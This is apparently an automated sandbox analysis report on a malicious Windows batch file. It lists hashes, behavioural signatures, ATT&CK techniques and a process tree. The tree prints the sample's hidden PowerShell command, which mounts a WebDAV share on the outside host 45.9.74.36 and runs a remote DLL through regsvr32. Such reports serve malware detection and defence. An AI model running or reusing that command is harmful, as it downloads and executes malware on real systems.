0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5

Analysis

max time kernel
142s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 22:43

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General

Target

17843242292216017916.bat
Size

13KB
MD5

2a824d121e93386d58bbd33196579132
SHA1

76f7b44b962a147d014ce72e31562ba5823446c7
SHA256

0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5
SHA512

bc4782eb46e0c438127f27023cfb08f9d08ff8c59a8e5fcc20ecef50b26c37fa4fec3ae24fbef3edaca3ae83052b008f0e9e93e94596844217cce2848dcd5972
SSDEEP

384:HvZYxYW3QsuS38IpBOGdb8JohgDuqC8b2hIIIob2hIIITUQaiCMaHHkr:HSxYW3QI7OowOhgDw8IpmBc

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3756	powershell.exe
3756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3756	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3992	wordpad.exe
3992	wordpad.exe
3992	wordpad.exe
3992	wordpad.exe
3992	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 680 wrote to memory of 3992	680	cmd.exe	85
PID 680 wrote to memory of 3992	680	cmd.exe	85
PID 680 wrote to memory of 3756	680	cmd.exe	87
PID 680 wrote to memory of 3756	680	cmd.exe	87
PID 3756 wrote to memory of 2096	3756	powershell.exe	89
PID 3756 wrote to memory of 2096	3756	powershell.exe	89
PID 3756 wrote to memory of 2472	3756	powershell.exe	90
PID 3756 wrote to memory of 2472	3756	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\17843242292216017916.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:680
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2096
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll
    3⤵
    PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ei5xmuul.jzx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3756-9-0x0000021A72C20000-0x0000021A72C42000-memory.dmp

Filesize
136KB

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